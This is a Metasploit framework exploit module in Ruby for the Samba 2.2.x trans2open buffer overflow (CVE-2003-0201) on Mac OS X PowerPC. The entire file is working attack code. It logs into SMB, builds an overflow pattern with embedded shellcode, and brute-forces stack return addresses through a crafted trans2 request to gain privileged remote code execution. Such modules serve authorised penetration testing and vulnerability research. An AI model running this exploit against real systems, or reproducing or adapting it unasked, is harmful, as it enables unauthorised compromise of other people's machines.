##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba trans2open Overflow (Mac OS X PPC)',
      'Description'    => %q{
          This exploits the buffer overflow found in Samba versions
        2.2.0 to 2.2.8. This particular module is capable of
        exploiting the bug on Mac OS X PowerPC systems.
      },
      'Author'         => [ 'hdm', 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2003-0201' ],
          [ 'OSVDB', '4469' ],
          [ 'BID', '7294' ],
          [ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'MinNops'  => 512,
        },
      'Platform'       => 'osx',
      'Arch'           => ARCH_PPC,
      'Targets'        =>
        [
          [ 'Samba 2.2.x - Bruteforce',
            {
              # Not necessary on PPC
              # 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
              'Offset'       => 1195,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0xbffffdfc },
                  'Stop'  => { 'Ret' => 0xbfa00000 },
                  'Step'  => 512
                }
            }
          ]
        ],
      'DisclosureDate' => '2003-04-07',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(139)
      ])

    deregister_options('SMB::ProtocolVersion')
  end

  # Need to perform target detection
  def autofilter
    false
  end

  def brute_exploit(addrs)

    curr_ret = addrs['Ret']
    begin
      print_status("Trying return address 0x%.8x..." %  curr_ret)

      connect(versions: [1])
      smb_login

      # 1988 is required for findrecv shellcode
      pattern = rand_text_english(1988)

      # This stream covers the framepointer and the return address
      off = target['Offset']
      pattern[off, 64] = [curr_ret].pack('N') * 16

      # Stuff the shellcode into the request
      pattern[3, payload.encoded.length] = payload.encoded

      trans =
        "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
        "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
        pattern

      sock.put(trans)
      handler
      disconnect

    rescue EOFError
    rescue => e
      print_error(e.to_s)
    end

  end
end
